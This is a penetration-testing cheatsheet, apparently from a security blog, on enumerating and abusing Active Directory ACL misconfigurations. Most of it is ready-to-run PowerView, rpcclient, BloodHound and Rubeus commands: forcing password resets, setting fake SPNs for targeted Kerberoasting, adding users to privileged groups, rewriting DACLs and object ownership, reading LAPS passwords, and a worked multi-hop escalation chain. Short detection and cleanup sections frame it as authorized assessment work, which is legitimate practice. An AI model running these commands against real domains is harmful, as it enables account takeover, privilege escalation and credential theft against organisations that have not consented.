Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

🏠 Back to Blog

ACL Abuse Cheatsheet

Quick reference for enumerating and exploiting AD ACL misconfigurations.

Enumeration

BloodHound

# Collect data from Linux
bloodhound-python -u <USER> -p '<PASS>' -d <DOMAIN> -dc <DC_FQDN> -c all

# Collect data from Windows
.\SharpHound.exe -c all --zipfilename output.zip

Look for edges: ForceChangePassword, GenericAll, GenericWrite, WriteDACL, WriteOwner, AllExtendedRights, AddSelf, AddMember, ReadGMSAPassword.

Import-Module .\PowerView.ps1

# Step 1: Get SID of your controlled user
$sid = Convert-NameToSid <YOUR_USER>

# Step 2: Find all objects this user has rights over (with readable names)
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}

# Step 3: Follow the chain — enumerate next user/group's rights
$sid2 = Convert-NameToSid <NEXT_USER>
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid2}

# Check nested group membership
Get-DomainGroup -Identity "<GROUP_NAME>" | select memberof

PowerView — Broad Queries

# Find all interesting ACLs (large output — filter results)
Find-InterestingDomainAcl -ResolveGUIDs

# Filter for a specific principal
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "TARGET_USER"}

# Get ACL on a specific object
Get-DomainObjectAcl -Identity "CN=Domain Admins,CN=Users,DC=domain,DC=local" -ResolveGUIDs

# Find objects where a user has GenericAll
Get-DomainObjectAcl -ResolveGUIDs | ?{$_.ActiveDirectoryRights -match "GenericAll" -and $_.SecurityIdentifier -match "<USER_SID>"}

# Find objects where a user has WriteDACL
Get-DomainObjectAcl -ResolveGUIDs | ?{$_.ActiveDirectoryRights -match "WriteDacl" -and $_.SecurityIdentifier -match "<USER_SID>"}

Without PowerView (Built-in Cmdlets)

# Build user list
Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txt

# Find ACLs for a specific principal across all users
foreach($line in [System.IO.File]::ReadLines("C:\Users\htb-student\Desktop\ad_users.txt")) {
    get-acl "AD:\$(Get-ADUser $line)" | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match 'DOMAIN\\username'}
}

# Manually resolve a GUID to a human-readable right name
$guid = "00299570-246d-11d0-a768-00aa006e0529"
Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" -Filter {ObjectClass -like 'ControlAccessRight'} -Properties * | Select Name,DisplayName,rightsGuid | ?{$_.rightsGuid -eq $guid} | fl

BloodHound Tips

  • Node Info → Outbound Control Rights: First Degree (direct) and Transitive (multi-hop chains)
  • Right-click any edge → Help: exploitation commands, OPSEC notes, references
  • Pre-built queries: “Find Principals with DCSync Rights”, “Shortest Paths to Domain Admins”

Exploitation by Permission

ForceChangePassword

# Reset a user's password (PowerView)
$newPass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity <TARGET_USER> -AccountPassword $newPass
# From Linux (Impacket / rpcclient)
rpcclient -U '<DOMAIN>/<USER>%<PASS>' <DC_IP> -c 'setuserinfo2 <TARGET_USER> 23 "NewPassword123!"'

GenericAll — Over a User

# Change password
$newPass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity <TARGET_USER> -AccountPassword $newPass

# Or: targeted Kerberoasting — assign an SPN, then Kerberoast
Set-DomainObject -Identity <TARGET_USER> -SET @{serviceprincipalname='fake/spn'}
Get-DomainUser <TARGET_USER> | Get-DomainSPNTicket -Format Hashcat
# Clean up: remove the SPN after
Set-DomainObject -Identity <TARGET_USER> -Clear serviceprincipalname

GenericAll — Over a Group

# Add yourself (or another user) to the group
Add-DomainGroupMember -Identity '<GROUP_NAME>' -Members '<USER_TO_ADD>'

# Verify
Get-DomainGroupMember -Identity '<GROUP_NAME>' | ?{$_.MemberName -match '<USER_TO_ADD>'}

GenericAll — Over a Computer (with LAPS)

# Read the LAPS password
Get-DomainComputer <COMPUTER> -Properties ms-mcs-admpwd

GenericWrite — Over a User (Targeted Kerberoasting)

# Assign a fake SPN
Set-DomainObject -Identity <TARGET_USER> -SET @{serviceprincipalname='fake/spn'}

# Kerberoast the account
Get-DomainUser <TARGET_USER> | Get-DomainSPNTicket -Format Hashcat

# Clean up
Set-DomainObject -Identity <TARGET_USER> -Clear serviceprincipalname

GenericWrite — Over a Group

Add-DomainGroupMember -Identity '<GROUP_NAME>' -Members '<USER_TO_ADD>'

WriteDACL

# Grant yourself GenericAll on the target object
Add-DomainObjectAcl -TargetIdentity <TARGET> -PrincipalIdentity <YOUR_USER> -Rights All

# Then abuse GenericAll as shown above

WriteOwner

# Take ownership of the object
Set-DomainObjectOwner -Identity <TARGET> -OwnerIdentity <YOUR_USER>

# Now modify the DACL (you're the owner)
Add-DomainObjectAcl -TargetIdentity <TARGET> -PrincipalIdentity <YOUR_USER> -Rights All

AddSelf

# Add yourself to the group
Add-DomainGroupMember -Identity '<GROUP_NAME>' -Members '<YOUR_USER>'

AllExtendedRights

# Over a user: reset password
Set-DomainUserPassword -Identity <TARGET_USER> -AccountPassword (ConvertTo-SecureString 'Password123!' -AsPlainText -Force)

# Over a group: add members
Add-DomainGroupMember -Identity '<GROUP_NAME>' -Members '<USER_TO_ADD>'

Multi-Hop Attack Chain Pattern

# Authenticate as user A (controlled user)
$SecPassword = ConvertTo-SecureString '<PASS>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\userA', $SecPassword)

# ForceChangePassword: user A → user B
$newPass = ConvertTo-SecureString 'NewPassword123!' -AsPlainText -Force
Set-DomainUserPassword -Identity userB -AccountPassword $newPass -Credential $Cred -Verbose

# Authenticate as user B
$Cred2 = New-Object System.Management.Automation.PSCredential('DOMAIN\userB', $SecPassword)

# GenericWrite: add user B to a group
Add-DomainGroupMember -Identity 'Target Group' -Members 'userB' -Credential $Cred2 -Verbose

# GenericAll (via nested group): targeted Kerberoast user C
Set-DomainObject -Credential $Cred2 -Identity userC -SET @{serviceprincipalname='fake/spn'} -Verbose
.\Rubeus.exe kerberoast /user:userC /nowrap

From Linux, use targetedKerberoast to create a temporary SPN, retrieve the hash, and delete the SPN in one command.

Detection

IndicatorDetails
Event ID 5136Directory service object modified — fires on ACL changes
Group membership changesMonitor high-impact groups for unauthorized additions
SPN attribute changesUnexpected servicePrincipalName modifications on user accounts
# Convert SDDL from Event 5136 to readable format
ConvertFrom-SddlString "<SDDL_STRING>" | select -ExpandProperty DiscretionaryAcl

Cleanup Reminders

ActionRevert Command
Added group memberRemove-DomainGroupMember -Identity '<GROUP>' -Members '<USER>'
Set SPN on userSet-DomainObject -Identity <USER> -Clear serviceprincipalname
Changed object ownerRestore original owner with Set-DomainObjectOwner
Modified DACLRemove added ACE with Remove-DomainObjectAcl
Changed passwordCoordinate with client to restore or set a new known password

Always document all changes and confirm reversion in the final report.